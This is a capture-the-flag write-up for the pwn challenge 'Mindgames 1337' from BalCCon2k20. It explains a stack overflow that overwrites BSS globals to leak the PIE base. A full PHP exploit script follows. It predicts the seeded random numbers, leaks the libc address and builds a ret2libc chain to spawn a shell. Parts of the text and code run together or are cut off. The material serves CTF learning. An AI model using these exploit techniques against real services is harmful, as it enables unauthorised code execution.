# Mindgames 1337 - BalCCon2k20 CTF (pwn, 457p, 11 solved)## Introduction
Mindgames 1337 is a pwn task. This is the second challenge of the Mindgamesserie (Mindgames 1336, 1337, 1338). This challenge has PIE.
A Linux ELF file is provided. It is a guessing game. The highest score belongsto a randomly generated Star Wars character, but can be replaced by the user'sname.
## Reverse engineering
Most of the reverse engineering has been explained for Mindgames 1336's writeup.
The only part left unexplored is the menu that displays high score. It isrelatively simple :```cprintf("Current highscore:\n%d\t by \t %s\n", highScore, player);```
The interesting part is the way variables are arranged in the BSS:```c/* 0x40C0 */ char name[0x20];/* 0x40E0 */ unsigned int score;/* 0x40E8 */ char *player;```
## Exploitation
The main vulnerability here stays the same : the high score function is stillvulnerable to a stack-base buffer overflow. However, due to the addition of PIE,it is not possible to leak the libc anymore without leaking the binary's baseaddress.
As explained in the writeup for Mindgames 1336, this vulnerability also smashesthe global variables in BSS, in particular the score and a pointer to the user'sname.
It is possible to overwrite only the last byte of `player` with `0xE8` so thatit points to itself.
Displaying the highscore will then leak the address of `player` which isrelative to the base address of the program.
The rest of the exploitation is the same as Mindgames 1336's.
**Flag**: `BCTF{and_n0w_y0u_ate_my_PIE?}`
## Appendices### pwn.php```php#!/usr/bin/phpexpectLine("What do you want to do?");	$t->expectLine(" 1) Show Highscore");	$t->expectLine(" 2) Play the game");	$t->expectLine(" 3) Exit");	$t->expect("> ");}
function hs(Tube $t){	menu($t);	$t->write("1\n");
	$t->expectLine("Current highscore:");	$line = $t->readLine();
	list($score, , $player) = explode("\t", $line, 3);	$score |= 0;	$player = substr($player, 1);
	return [$score, $player];}
printf("[*] Creating process\n");$time = microtime(true);
$t = new Socket(HOST, PORT);$date = strftime("%Y-%m-%d %H:%M:%S"); // // it's okay because we use NTP ;-)$t->expectLine("Hello there! It's $date and the weather looks pretty nice!");
//$t->expect("Hello there! It's ");//$date = $t->read(strlen("2020-09-25 21:26:35"));//$t->expectLine(" and the weather looks pretty nice!");
$t->expectLine("");$t->expectLine("");$t->expectLine("We should play a game of the mind!");$t->expect("> ");
$ffi = FFI::load("rand.h");
printf("[+] Done in %f seconds\n", microtime(true) - $time);printf("\n");
$time = strtotime($date);$ffi->srand($time);$ffi->rand(); // player$ffi->rand(); // score
printf("[*] Leak PIE\n");menu($t);$t->write("2\n");
$t->expectLine("Can you guess my numbers?");$t->expect("> ");
for($i = 0; $i < 32; $i++) {	$guess = $ffi->rand();	$t->write("$guess\n");}
for($i = 0; $i < 32; $i++) {	$t->expectLine("You were lucky this time!");	$t->expect(">");}
$t->write("-1\n");$t->expectLine("Game over!");$t->expectLine("New Highscore! Amazing!");
/* Leak */$payload  = str_pad("XeR", 0x20, "\x00");$payload .= pack("Q", 0); // faster$payload .= "\xe8";
$t->expect("Give me your name: ");$t->write($payload);
$hs   = hs($t);$addr = str_pad(substr($hs[1], 0, 8), 8, "\x00");$base = unpack("Q", $addr)[1] - 0x40e8;
$poprdi = $base + POPRDI;$lsm    = $base + LSM;$puts   = $base + PUTS;$newhs  = $base + NEWHS;
printf("[+] base: %X\n", $base);printf("\n");
printf("[*] Leak libc\n");menu($t);$t->write("2\n");
$t->expectLine("Can you guess my numbers?");$t->expect("> ");
$t->write("-1\n");$t->expectLine("Game over!");$t->expectLine("New Highscore! Amazing!");
/* Leak libc */$payload  = str_repeat("x", 0x110);$payload .= pack("Q", 0xdeadbeef); // rbp$payload .= pack("Q*",	$poprdi, $lsm,	$puts,	$newhs,); // rip
$t->expect("Give me your name: ");$t->write($payload);
$leak = $t->readLine();$leak = str_pad(substr($leak, 0, 8), 8, "\x00");$addr = unpack("Q", $leak)[1];
$libc  = $addr & ~0xFFF;$libc -= 0x23000;
printf("[+] libc: %X\n", $libc);printf("\n");
/* shell */$payload  = str_repeat("x", 0x110);$payload .= pack("Q", 0xdeadbeef); // rbp$payload .= pack("Q*",	$poprdi, $libc + BINSH,	$libc + SYSTEM,	-1); // rip
$t->expect("Give me your name: ");$t->write($payload);
printf("[!] shell\n");$t->pipe();```